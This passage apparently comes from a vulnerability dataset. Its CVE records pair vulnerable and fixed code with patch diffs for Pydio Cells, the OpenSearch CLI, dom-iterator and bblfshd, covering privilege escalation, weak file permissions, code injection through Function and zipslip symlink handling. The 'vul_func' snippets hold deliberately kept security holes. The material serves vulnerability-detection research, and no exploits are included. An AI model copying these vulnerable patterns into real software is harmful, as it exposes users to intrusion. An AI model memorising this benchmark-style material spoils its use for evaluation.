!u.IsGroup {\n\t\tpermissions.ForceClearUserCache(u.Login)\n\t}\n\n\t// Reload user fully\n\tq, _ := anypb.New(&idm.UserSingleQuery{Uuid: u.Uuid})\n\tstreamer, err := cli.SearchUser(ctx, &idm.SearchUserRequest{\n\t\tQuery: &service2.Query{SubQueries: []*anypb.Any{q}},\n\t})\n\tif err != nil {\n\t\t// Handle error\n\t\tservice.RestError500(req, rsp, err)\n\t\treturn\n\t}\n\tdefer streamer.CloseSend()\n\tfor {\n\t\tresp, e := streamer.Recv()\n\t\tif e != nil {\n\t\t\tbreak\n\t\t}\n\t\tif resp == nil {\n\t\t\tcontinue\n\t\t}\n\t\tu = resp.User\n\t\tif !resp.User.IsGroup {\n\t\t\tu.Roles = permissions.GetRolesForUser(ctx, u, false)\n\t\t\tu = u.WithPublicData(ctx, s.IsContextEditable(ctx, u.Uuid, u.Policies))\n\t\t\tparamsAclsToAttributes(ctx, []*idm.User{u})\n\t\t} else if len(u.Roles) == 0 {\n\t\t\tu.Roles = append(u.Roles, &idm.Role{Uuid: u.Uuid, GroupRole: true})\n\t\t\tu.Roles = permissions.GetRolesForUser(ctx, u, true)\n\t\t}\n\t\tbreak\n\t}\n\trsp.WriteEntity(u)\n\n\t_, hasEmailAddress := u.Attributes[\"email\"]\n\tif sendEmail && hasEmailAddress {\n\t\t// Now send email to user in background\n\t\tlang := \"\"\n\t\tif l, o := u.Attributes[\"parameter:core.conf:lang\"]; o {\n\t\t\tlang = strings.Trim(l, `\"`)\n\t\t}\n\t\tmailCli := mailer.NewMailerServiceClient(grpc2.GetClientConnFromCtx(ctx, common.ServiceMailer))\n\t\temail := &mailer.Mail{\n\t\t\tTo: []*mailer.User{{\n\t\t\t\tUuid:     u.Uuid,\n\t\t\t\tName:     u.Attributes[\"displayName\"],\n\t\t\t\tAddress:  u.Attributes[\"email\"],\n\t\t\t\tLanguage: lang,\n\t\t\t}},\n\t\t\tTemplateId: \"Welcome\",\n\t\t\tTemplateData: map[string]string{\n\t\t\t\t\"Login\":    inputUser.Login,\n\t\t\t\t\"Password\": inputUser.Password,\n\t\t\t},\n\t\t}\n\t\tc := context.Background()\n\t\tif u := ctx.Value(common.PydioContextUserKey); u != nil {\n\t\t\tc = context.WithValue(c, common.PydioContextUserKey, u)\n\t\t}\n\t\tgo func() {\n\t\t\t_, er := mailCli.SendMail(c, &mailer.SendMailRequest{\n\t\t\t\tInQueue: false,\n\t\t\t\tMail:    email,\n\t\t\t})\n\t\t\tif er != nil {\n\t\t\t\tlog.Logger(ctx).Error(\"Could not send email to new user\", zap.Error(er))\n\t\t\t}\n\t\t}()\n\t}\n}"}, {"id": "fix_go_134_3", "commit": "259fbfd", "file_path": "scheduler/jobs/rest/userspace.go", "start_line": 434, "end_line": 526, "snippet": "func wgetTasks(ctx context.Context, parentPath string, urls []string, languages ...string) ([]string, error) {\n\n\tif !config.Get(\"frontend\", \"plugin\", \"uploader.http\", config.KeyFrontPluginEnabled).Bool() {\n\t\treturn nil, fmt.Errorf(\"you are not allowed to use this feature\")\n\t}\n\tT := lang.Bundle().GetTranslationFunc(languages...)\n\ttaskLabel := T(\"Jobs.User.Wget\")\n\trouter := getRouter()\n\n\tclaims := ctx.Value(claim.ContextKey).(claim.Claims)\n\tuserName := claims.Name\n\tvar jobUuids []string\n\n\tvar parentNode, fullPathParentNode *tree.Node\n\tif resp, e := router.ReadNode(ctx, &tree.ReadNodeRequest{Node: &tree.Node{Path: parentPath}}); e != nil {\n\t\treturn []string{}, e\n\t} else {\n\t\tparentNode = resp.Node\n\t}\n\n\t// Compute node real path, and check that its writeable as well\n\tif innerOp, e := router.CanApply(ctx, &tree.NodeChangeEvent{Type: tree.NodeChangeEvent_CREATE, Target: parentNode}); e == nil {\n\t\tfullPathParentNode = innerOp.GetTarget()\n\t} else {\n\t\treturn []string{}, errors.Forbidden(common.ServiceJobs, \"Parent Node is not writeable\")\n\t}\n\n\tvar whiteList, blackList []string\n\twl := config.Get(\"frontend\", \"plugin\", \"uploader.http\", \"REMOTE_UPLOAD_WHITELIST\").Default(\"\").String()\n\tbl := config.Get(\"frontend\", \"plugin\", \"uploader.http\", \"REMOTE_UPLOAD_BLACKLIST\").Default(\"localhost\").String()\n\tif wl != \"\" {\n\t\twhiteList = strings.Split(wl, \",\")\n\t}\n\tif bl != \"\" {\n\t\tblackList = strings.Split(bl, \",\")\n\t}\n\tcli := jobs.NewJobServiceClient(grpc.GetClientConnFromCtx(ctx, common.ServiceJobs))\n\tfor _, u := range urls {\n\t\tparsed, e := url.Parse(u)\n\t\tif e != nil {\n\t\t\treturn nil, e\n\t\t}\n\t\tif (len(whiteList) > 0 && !hostListCheck(whiteList, parsed)) || (len(blackList) > 0 && hostListCheck(blackList, parsed)) {\n\t\t\treturn nil, fmt.Errorf(\"hostname %s is not allowed\", parsed.Hostname())\n\t\t}\n\t\tjobUuid := \"wget-\" + uuid.New()\n\t\tjobUuids = append(jobUuids, jobUuid)\n\n\t\tvar params = map[string]string{\n\t\t\t\"url\": u,\n\t\t}\n\t\tcleanUrl := strings.Split(u, \"?\")[0]\n\t\tcleanUrl = strings.Split(cleanUrl, \"#\")[0]\n\t\tbasename := path.Base(cleanUrl)\n\t\tif basename == \"\" {\n\t\t\tbasename = jobUuid\n\t\t}\n\t\t// Recheck target node for policies\n\t\tif _, err := router.CanApply(ctx, &tree.NodeChangeEvent{Type: tree.NodeChangeEvent_CREATE, Target: &tree.Node{Path: path.Join(parentPath, basename)}}); err != nil {\n\t\t\treturn jobUuids, err\n\t\t}\n\t\tif e := disallowTemplate(params); e != nil {\n\t\t\treturn nil, e\n\t\t}\n\t\tjob := &jobs.Job{\n\t\t\tID:             jobUuid,\n\t\t\tOwner:          userName,\n\t\t\tLabel:          taskLabel,\n\t\t\tInactive:       false,\n\t\t\tLanguages:      languages,\n\t\t\tMaxConcurrency: 5,\n\t\t\tAutoStart:      true,\n\t\t\tActions: []*jobs.Action{\n\t\t\t\t{\n\t\t\t\t\tID:         \"actions.cmd.wget\",\n\t\t\t\t\tParameters: params,\n\t\t\t\t\tNodesSelector: &jobs.NodesSelector{\n\t\t\t\t\t\t// Here we specifically use Pathes instead of a query as it defines\n\t\t\t\t\t\t// a target node that does NOT exists\n\t\t\t\t\t\tPathes: []string{path.Join(fullPathParentNode.Path, basename)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\t_, er := cli.PutJob(ctx, &jobs.PutJobRequest{Job: job})\n\t\tif er != nil {\n\t\t\treturn jobUuids, er\n\t\t}\n\t}\n\treturn jobUuids, nil\n\n}"}, {"id": "fix_go_134_4", "commit": "259fbfd", "file_path": "gateway/data/hooks/auth-handler.go", "start_line": 23, "end_line": 29, "snippet": "var allowedInlines = map[string]struct{}{\n\t\"image/png\":  struct{}{},\n\t\"image/jpg\":  struct{}{},\n\t\"image/jpeg\": struct{}{},\n\t\"image/bmp\":  struct{}{},\n\t\"text/plain\": struct{}{},\n}"}], "vul_patch": "--- a/gateway/data/hooks/auth-handler.go\n+++ b/gateway/data/hooks/auth-handler.go\n@@ -30,6 +30,17 @@\n \t\t\tlog.Logger(ctx).Debug(\"Use AWS Api Key as JWT: \" + signedKey)\n \t\t\tresignRequestV4 = true\n \t\t\tr.Header.Set(\"X-Pydio-Bearer\", signedKey)\n+\t\t}\n+\t}\n+\n+\trq := r.URL.Query()\n+\tif r.Method == http.MethodGet && rq.Get(\"response-content-disposition\") == \"inline\" {\n+\t\trType := rq.Get(\"response-content-type\")\n+\t\tif _, ok := allowedInlines[rType]; !ok {\n+\t\t\tlog.Logger(ctx).Info(\"Forcing content disposition to attachment for content type \" + rType + \" that is not in white-list\")\n+\t\t\trq.Set(\"response-content-disposition\", \"attachment\")\n+\t\t\tr.URL.RawQuery = rq.Encode()\n+\t\t\t_ = r.ParseForm()\n \t\t}\n \t}\n \n\n--- a/idm/user/rest/rest.go\n+++ b/idm/user/rest/rest.go\n@@ -87,22 +87,26 @@\n \t\t}\n \t}\n \n-\t// For creation by non-admin, check USER_CREATE_USERS plugins permission.\n-\tif update == nil && ctxClaims.Profile != common.PydioProfileAdmin && !inputUser.IsHidden() {\n-\t\tglobal := config.Get(\"frontend\", \"plugin\", \"core.auth\", \"USER_CREATE_USERS\").Default(true).Bool()\n-\t\tacl, e := permissions.AccessListFromContextClaims(ctx)\n-\t\tif e != nil {\n-\t\t\tservice.RestError500(req, rsp, e)\n-\t\t\treturn\n-\t\t}\n-\t\tif er := permissions.AccessListLoadFrontValues(ctx, acl); er != nil {\n-\t\t\tservice.RestError500(req, rsp, e)\n-\t\t\treturn\n-\t\t}\n-\t\tlocal := acl.FlattenedFrontValues().Val(\"parameters\", \"core.auth\", \"USER_CREATE_USERS\", permissions.FrontWsScopeAll).Default(global).Bool()\n-\t\tif !local {\n-\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"you are not allowed to create users\"))\n-\t\t\treturn\n+\tif update == nil && ctxClaims.Profile != common.PydioProfileAdmin {\n+\t\t// Clear roles\n+\t\tinputUser.Roles = nil\n+\t\t// For creation by non-admin, check USER_CREATE_USERS plugins permission.\n+\t\tif !inputUser.IsHidden() {\n+\t\t\tglobal := config.Get(\"frontend\", \"plugin\", \"core.auth\", \"USER_CREATE_USERS\").Default(true).Bool()\n+\t\t\tacl, e := permissions.AccessListFromContextClaims(ctx)\n+\t\t\tif e != nil {\n+\t\t\t\tservice.RestError500(req, rsp, e)\n+\t\t\t\treturn\n+\t\t\t}\n+\t\t\tif er := permissions.AccessListLoadFrontValues(ctx, acl); er != nil {\n+\t\t\t\tservice.RestError500(req, rsp, e)\n+\t\t\t\treturn\n+\t\t\t}\n+\t\t\tlocal := acl.FlattenedFrontValues().Val(\"parameters\", \"core.auth\", \"USER_CREATE_USERS\", permissions.FrontWsScopeAll).Default(global).Bool()\n+\t\t\tif !local {\n+\t\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"you are not allowed to create users\"))\n+\t\t\t\treturn\n+\t\t\t}\n \t\t}\n \t}\n \t// Recheck that crtUser is not hidden\n\n--- a/scheduler/jobs/rest/userspace.go\n+++ b/scheduler/jobs/rest/userspace.go\n@@ -1,5 +1,8 @@\n func wgetTasks(ctx context.Context, parentPath string, urls []string, languages ...string) ([]string, error) {\n \n+\tif !config.Get(\"frontend\", \"plugin\", \"uploader.http\", config.KeyFrontPluginEnabled).Bool() {\n+\t\treturn nil, fmt.Errorf(\"you are not allowed to use this feature\")\n+\t}\n \tT := lang.Bundle().GetTranslationFunc(languages...)\n \ttaskLabel := T(\"Jobs.User.Wget\")\n \trouter := getRouter()\n@@ -23,8 +26,8 @@\n \t}\n \n \tvar whiteList, blackList []string\n-\twl := config.Get(\"frontend\", \"plugin\", \"uploader.http\", \"REMOTE_UPLOAD_WHITELIST\").String()\n-\tbl := config.Get(\"frontend\", \"plugin\", \"uploader.http\", \"REMOTE_UPLOAD_BLACKLIST\").String()\n+\twl := config.Get(\"frontend\", \"plugin\", \"uploader.http\", \"REMOTE_UPLOAD_WHITELIST\").Default(\"\").String()\n+\tbl := config.Get(\"frontend\", \"plugin\", \"uploader.http\", \"REMOTE_UPLOAD_BLACKLIST\").Default(\"localhost\").String()\n \tif wl != \"\" {\n \t\twhiteList = strings.Split(wl, \",\")\n \t}\n\n--- /dev/null\n+++ b/scheduler/jobs/rest/userspace.go\n@@ -0,0 +1,7 @@\n+var allowedInlines = map[string]struct{}{\n+\t\"image/png\":  struct{}{},\n+\t\"image/jpg\":  struct{}{},\n+\t\"image/jpeg\": struct{}{},\n+\t\"image/bmp\":  struct{}{},\n+\t\"text/plain\": struct{}{},\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-44833", "cve_description": "The CLI 1.0.0 for Amazon AWS OpenSearch has weak permissions for the configuration file.", "cwe_info": {"CWE-276": {"name": "Incorrect Default Permissions", "description": "During installation, installed file permissions are set to allow anyone to modify those files."}}, "repo": "https://github.com/opensearch-project/opensearch-cli", "patch_url": ["https://github.com/opensearch-project/opensearch-cli/commit/69dc712d0d0d05dc2bc2bd0d733c73e3641b633a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_219_1", "commit": "8fe1d98", "file_path": "commands/root.go", "start_line": 114, "end_line": 131, "snippet": "func createDefaultConfigFileIfNotExists() error {\n\tdefaultFilePath := GetDefaultConfigFilePath()\n\tif isExists(defaultFilePath) {\n\t\treturn nil\n\t}\n\tfolderPath := filepath.Dir(defaultFilePath)\n\tif !isExists(folderPath) {\n\t\terr := os.Mkdir(folderPath, folderPermission)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tf, err := os.Create(defaultFilePath)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn f.Close()\n}"}, {"id": "vul_go_219_2", "commit": "8fe1d98", "file_path": "commands/root.go", "start_line": 38, "end_line": 48, "snippet": "const (\n\tconfigFileType        = \"yaml\"\n\tdefaultConfigFileName = \"config\"\n\tflagConfig            = \"config\"\n\tflagProfileName       = \"profile\"\n\tfolderPermission      = 0755 // only owner can write, while everyone can read and execute\n\tConfigEnvVarName      = \"OPENSEARCH_CLI_CONFIG\"\n\tRootCommandName       = \"opensearch-cli\"\n\tversion               = \"1.0.0\"\n)\n"}], "fix_func": [{"id": "fix_go_219_1", "commit": "69dc712d0d0d05dc2bc2bd0d733c73e3641b633a", "file_path": "commands/root.go", "start_line": 115, "end_line": 135, "snippet": "func createDefaultConfigFileIfNotExists() error {\n\tdefaultFilePath := GetDefaultConfigFilePath()\n\tif isExists(defaultFilePath) {\n\t\treturn nil\n\t}\n\tfolderPath := filepath.Dir(defaultFilePath)\n\tif !isExists(folderPath) {\n\t\terr := os.Mkdir(folderPath, FolderPermission)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tf, err := os.Create(defaultFilePath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err = f.Chmod(FilePermission); err != nil {\n\t\treturn err\n\t}\n\treturn f.Close()\n}"}, {"id": "fix_go_219_2", "commit": "69dc712d0d0d05dc2bc2bd0d733c73e3641b633a", "file_path": "commands/root.go", "start_line": 38, "end_line": 47, "snippet": "const (\n\tconfigFileType        = \"yaml\"\n\tdefaultConfigFileName = \"config\"\n\tflagConfig            = \"config\"\n\tflagProfileName       = \"profile\"\n\tFolderPermission      = 0700 // only owner can read, write and execute\n\tFilePermission        = 0600 // only owner can read and write\n\tConfigEnvVarName      = \"OPENSEARCH_CLI_CONFIG\"\n\tRootCommandName       = \"opensearch-cli\"\n\tversion               = \"1.0.0\""}], "vul_patch": "--- a/commands/root.go\n+++ b/commands/root.go\n@@ -5,7 +5,7 @@\n \t}\n \tfolderPath := filepath.Dir(defaultFilePath)\n \tif !isExists(folderPath) {\n-\t\terr := os.Mkdir(folderPath, folderPermission)\n+\t\terr := os.Mkdir(folderPath, FolderPermission)\n \t\tif err != nil {\n \t\t\treturn err\n \t\t}\n@@ -14,5 +14,8 @@\n \tif err != nil {\n \t\treturn err\n \t}\n+\tif err = f.Chmod(FilePermission); err != nil {\n+\t\treturn err\n+\t}\n \treturn f.Close()\n }\n\n--- a/commands/root.go\n+++ b/commands/root.go\n@@ -3,8 +3,8 @@\n \tdefaultConfigFileName = \"config\"\n \tflagConfig            = \"config\"\n \tflagProfileName       = \"profile\"\n-\tfolderPermission      = 0755 // only owner can write, while everyone can read and execute\n+\tFolderPermission      = 0700 // only owner can read, write and execute\n+\tFilePermission        = 0600 // only owner can read and write\n \tConfigEnvVarName      = \"OPENSEARCH_CLI_CONFIG\"\n \tRootCommandName       = \"opensearch-cli\"\n \tversion               = \"1.0.0\"\n-)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-21541", "cve_description": "Versions of the package dom-iterator before 1.0.1 are vulnerable to Arbitrary Code Execution due to use of the Function constructor without complete input sanitization. Function generates a new function body and thus care must be given to ensure that the inputs to Function are not attacker-controlled. The risks involved are similar to that of allowing attacker-controlled input to reach eval.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/matthewmueller/dom-iterator", "patch_url": ["https://github.com/matthewmueller/dom-iterator/commit/9e0e0fad5a251de5b42feb326c4204eb04080805"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_225_1", "commit": "91121a4", "file_path": "index.js", "start_line": 265, "end_line": 276, "snippet": "Iterator.prototype.compile = function(expr) {\n  switch (typeof expr) {\n    case 'number':\n      return function(node) { return expr == node.nodeType; };\n    case 'string':\n      return new Function('node', 'return ' + props(expr, 'node.'));\n    case 'function':\n      return expr;\n    default:\n      return function() { return true; };\n  }\n};"}], "fix_func": [{"id": "fix_js_225_1", "commit": "9e0e0fad5a251de5b42feb326c4204eb04080805", "file_path": "index.js", "start_line": 265, "end_line": 276, "snippet": "Iterator.prototype.compile = function(expr) {\n  switch (typeof expr) {\n    case 'number':\n      return function(node) { return expr == node.nodeType; };\n    case 'string':\n      return new Function('node', 'Object.freeze(node); return ' + props(expr, 'node.'));\n    case 'function':\n      return expr;\n    default:\n      return function() { return true; };\n  }\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -3,7 +3,7 @@\n     case 'number':\n       return function(node) { return expr == node.nodeType; };\n     case 'string':\n-      return new Function('node', 'return ' + props(expr, 'node.'));\n+      return new Function('node', 'Object.freeze(node); return ' + props(expr, 'node.'));\n     case 'function':\n       return expr;\n     default:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-32825", "cve_description": "bblfshd is an open source self-hosted server for source code parsing. In bblfshd before commit 4265465b9b6fb5663c30ee43806126012066aad4 there is a \"zipslip\" vulnerability. The unsafe handling of symbolic links in an unpacking routine may enable attackers to read and/or write to arbitrary locations outside the designated target folder. This issue may lead to arbitrary file write (with same permissions as the program running the unpack operation) if the attacker can control the archive file. Additionally, if the attacker has read access to the unpacked files, he may be able to read arbitrary system files the parent process has permissions to read. For more details including a PoC see the referenced GHSL-2020-258.", "cwe_info": {"CWE-59": {"name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."}}, "repo": "https://github.com/bblfsh/bblfshd", "patch_url": ["https://github.com/bblfsh/bblfshd/commit/4265465b9b6fb5663c30ee43806126012066aad4"], "programing_language": "Go", "vul_func": [{"id": "vul_go_266_1", "commit": "073bb55eecac051f0dda3e6729813f637110e22f", "file_path": "runtime/unpack.go", "start_line": 65, "end_line": 187, "snippet": "func untar(dest string, r io.Reader) error {\n\tentries := make(map[string]bool)\n\tvar dirs []*tar.Header\n\ttr := tar.NewReader(r)\nloop:\n\tfor {\n\t\thdr, err := tr.Next()\n\t\tswitch err {\n\t\tcase io.EOF:\n\t\t\tbreak loop\n\t\tcase nil:\n\t\t\t// success, continue below\n\t\tdefault:\n\t\t\treturn errors.Wrapf(err, \"error advancing tar stream\")\n\t\t}\n\n\t\thdr.Name = filepath.Clean(hdr.Name)\n\t\tif !strings.HasSuffix(hdr.Name, string(os.PathSeparator)) {\n\t\t\t// Not the root directory, ensure that the parent directory exists\n\t\t\tparent := filepath.Dir(hdr.Name)\n\t\t\tparentPath := filepath.Join(dest, parent)\n\t\t\tif _, err2 := os.Lstat(parentPath); err2 != nil && os.IsNotExist(err2) {\n\t\t\t\tif err3 := os.MkdirAll(parentPath, 0755); err3 != nil {\n\t\t\t\t\treturn err3\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tpath := filepath.Join(dest, hdr.Name)\n\t\tif entries[path] {\n\t\t\treturn fmt.Errorf(\"duplicate entry for %s\", path)\n\t\t}\n\t\tentries[path] = true\n\t\trel, err := filepath.Rel(dest, path)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tinfo := hdr.FileInfo()\n\t\tif strings.HasPrefix(rel, \"..\"+string(os.PathSeparator)) {\n\t\t\treturn fmt.Errorf(\"%q is outside of %q\", hdr.Name, dest)\n\t\t}\n\n\t\tif strings.HasPrefix(info.Name(), \".wh.\") {\n\t\t\tpath = strings.Replace(path, \".wh.\", \"\", 1)\n\n\t\t\tif err := os.RemoveAll(path); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"unable to delete whiteout path\")\n\t\t\t}\n\n\t\t\tcontinue loop\n\t\t}\n\n\t\tswitch hdr.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tif fi, err := os.Lstat(path); !(err == nil && fi.IsDir()) {\n\t\t\t\tif err2 := os.MkdirAll(path, info.Mode()); err2 != nil {\n\t\t\t\t\treturn errors.Wrap(err2, \"error creating directory\")\n\t\t\t\t}\n\t\t\t}\n\n\t\tcase tar.TypeReg, tar.TypeRegA:\n\t\t\tf, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY, info.Mode())\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"unable to open file\")\n\t\t\t}\n\n\t\t\tif _, err := io.Copy(f, tr); err != nil {\n\t\t\t\tf.Close()\n\t\t\t\treturn errors.Wrap(err, \"unable to copy\")\n\t\t\t}\n\t\t\tf.Close()\n\n\t\tcase tar.TypeLink:\n\t\t\ttarget := filepath.Join(dest, hdr.Linkname)\n\n\t\t\tif !strings.HasPrefix(target, dest) {\n\t\t\t\treturn fmt.Errorf(\"invalid hardlink %q -> %q\", target, hdr.Linkname)\n\t\t\t}\n\n\t\t\tif err := os.Link(target, path); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\tcase tar.TypeSymlink:\n\t\t\ttarget := filepath.Join(filepath.Dir(path), hdr.Linkname)\n\n\t\t\tif !strings.HasPrefix(target, dest) {\n\t\t\t\treturn fmt.Errorf(\"invalid symlink %q -> %q\", path, hdr.Linkname)\n\t\t\t}\n\n\t\t\terr := os.Symlink(hdr.Linkname, path)\n\t\t\tif err != nil {\n\t\t\t\tif os.IsExist(err) {\n\t\t\t\t\tif err := os.Remove(path); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\n\t\t\t\t\tif err := os.Symlink(hdr.Linkname, path); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\tcase tar.TypeXGlobalHeader:\n\t\t\treturn nil\n\t\t}\n\t\t// Directory mtimes must be handled at the end to avoid further\n\t\t// file creation in them to modify the directory mtime\n\t\tif hdr.Typeflag == tar.TypeDir {\n\t\t\tdirs = append(dirs, hdr)\n\t\t}\n\t}\n\tfor _, hdr := range dirs {\n\t\tpath := filepath.Join(dest, hdr.Name)\n\n\t\tfinfo := hdr.FileInfo()\n\t\t// I believe the old version was using time.Now().UTC() to overcome an\n\t\t// invalid error from chtimes.....but here we lose hdr.AccessTime like this...\n\t\tif err := os.Chtimes(path, time.Now().UTC(), finfo.ModTime()); err != nil {\n\t\t\treturn errors.Wrap(err, \"error changing time\")\n\t\t}\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_266_1", "commit": "4265465b9b6fb5663c30ee43806126012066aad4", "file_path": "runtime/unpack.go", "start_line": 65, "end_line": 202, "snippet": "func untar(dest string, r io.Reader) error {\n\tentries := make(map[string]bool)\n\tvar dirs []*tar.Header\n\ttr := tar.NewReader(r)\nloop:\n\tfor {\n\t\thdr, err := tr.Next()\n\t\tswitch err {\n\t\tcase io.EOF:\n\t\t\tbreak loop\n\t\tcase nil:\n\t\t\t// success, continue below\n\t\tdefault:\n\t\t\treturn errors.Wrapf(err, \"error advancing tar stream\")\n\t\t}\n\n\t\thdr.Name = filepath.Clean(hdr.Name)\n\t\tif !strings.HasSuffix(hdr.Name, string(os.PathSeparator)) {\n\t\t\t// Not the root directory, ensure that the parent directory exists\n\t\t\tparent := filepath.Dir(hdr.Name)\n\t\t\tparentPath := filepath.Join(dest, parent)\n\t\t\tif _, err2 := os.Lstat(parentPath); err2 != nil && os.IsNotExist(err2) {\n\t\t\t\tif err3 := os.MkdirAll(parentPath, 0755); err3 != nil {\n\t\t\t\t\treturn err3\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tpath := filepath.Join(dest, hdr.Name)\n\t\tif entries[path] {\n\t\t\treturn fmt.Errorf(\"duplicate entry for %s\", path)\n\t\t}\n\t\tentries[path] = true\n\t\trel, err := filepath.Rel(dest, path)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tinfo := hdr.FileInfo()\n\t\tif strings.HasPrefix(rel, \"..\"+string(os.PathSeparator)) {\n\t\t\treturn fmt.Errorf(\"%q is outside of %q\", hdr.Name, dest)\n\t\t}\n\n\t\tif strings.HasPrefix(info.Name(), \".wh.\") {\n\t\t\tpath = strings.Replace(path, \".wh.\", \"\", 1)\n\n\t\t\tif err := os.RemoveAll(path); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"unable to delete whiteout path\")\n\t\t\t}\n\n\t\t\tcontinue loop\n\t\t}\n\n\t\tswitch hdr.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tif fi, err := os.Lstat(path); !(err == nil && fi.IsDir()) {\n\t\t\t\tif err2 := os.MkdirAll(path, info.Mode()); err2 != nil {\n\t\t\t\t\treturn errors.Wrap(err2, \"error creating directory\")\n\t\t\t\t}\n\t\t\t}\n\n\t\tcase tar.TypeReg, tar.TypeRegA:\n\t\t\tf, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY, info.Mode())\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"unable to open file\")\n\t\t\t}\n\n\t\t\tif _, err := io.Copy(f, tr); err != nil {\n\t\t\t\tf.Close()\n\t\t\t\treturn errors.Wrap(err, \"unable to copy\")\n\t\t\t}\n\t\t\tf.Close()\n\n\t\tcase tar.TypeLink:\n\t\t\ttarget := filepath.Join(dest, hdr.Linkname)\n\n\t\t\ttrueTarget, err := filepath.EvalSymlinks(target)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif !strings.HasPrefix(trueTarget, dest) {\n\t\t\t\treturn fmt.Errorf(\"hardlink %q -> %q outside destination\", target, hdr.Linkname)\n\t\t\t}\n\n\t\t\tif !strings.HasPrefix(target, dest) {\n\t\t\t\treturn fmt.Errorf(\"invalid hardlink %q -> %q\", target, hdr.Linkname)\n\t\t\t}\n\n\t\t\tif err := os.Link(target, path); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\tcase tar.TypeSymlink:\n\t\t\ttarget := filepath.Join(filepath.Dir(path), hdr.Linkname)\n\n\t\t\ttrueTarget, err := filepath.EvalSymlinks(target)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif !strings.HasPrefix(trueTarget, dest) {\n\t\t\t\treturn fmt.Errorf(\"hardlink %q -> %q outside destination\", target, hdr.Linkname)\n\t\t\t}\n\t\t\tif !strings.HasPrefix(target, dest) {\n\t\t\t\treturn fmt.Errorf(\"invalid symlink %q -> %q\", path, hdr.Linkname)\n\t\t\t}\n\n\t\t\terr := os.Symlink(hdr.Linkname, path)\n\t\t\tif err != nil {\n\t\t\t\tif os.IsExist(err) {\n\t\t\t\t\tif err := os.Remove(path); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\n\t\t\t\t\tif err := os.Symlink(hdr.Linkname, path); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\tcase tar.TypeXGlobalHeader:\n\t\t\treturn nil\n\t\t}\n\t\t// Directory mtimes must be handled at the end to avoid further\n\t\t// file creation in them to modify the directory mtime\n\t\tif hdr.Typeflag == tar.TypeDir {\n\t\t\tdirs = append(dirs, hdr)\n\t\t}\n\t}\n\tfor _, hdr := range dirs {\n\t\tpath := filepath.Join(dest, hdr.Name)\n\n\t\tfinfo := hdr.FileInfo()\n\t\t// I believe the old version was using time.Now().UTC() to overcome an\n\t\t// invalid error from chtimes.....but here we lose hdr.AccessTime like this...\n\t\tif err := os.Chtimes(path, time.Now().UTC(), finfo.ModTime()); err != nil {\n\t\t\treturn errors.Wrap(err, \"error changing time\")\n\t\t}\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/runtime/unpack.go\n+++ b/runtime/unpack.go\n@@ -72,6 +72,14 @@\n \t\tcase tar.TypeLink:\n \t\t\ttarget := filepath.Join(dest, hdr.Linkname)\n \n+\t\t\ttrueTarget, err := filepath.EvalSymlinks(target)\n+\t\t\tif err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n+\t\t\tif !strings.HasPrefix(trueTarget, dest) {\n+\t\t\t\treturn fmt.Errorf(\"hardlink %q -> %q outside destination\", target, hdr.Linkname)\n+\t\t\t}\n+\n \t\t\tif !strings.HasPrefix(target, dest) {\n \t\t\t\treturn fmt.Errorf(\"invalid hardlink %q -> %q\", target, hdr.Linkname)\n \t\t\t}\n@@ -83,6 +91,13 @@\n \t\tcase tar.TypeSymlink:\n \t\t\ttarget := filepath.Join(filepath.Dir(path), hdr.Linkname)\n \n+\t\t\ttrueTarget, err := 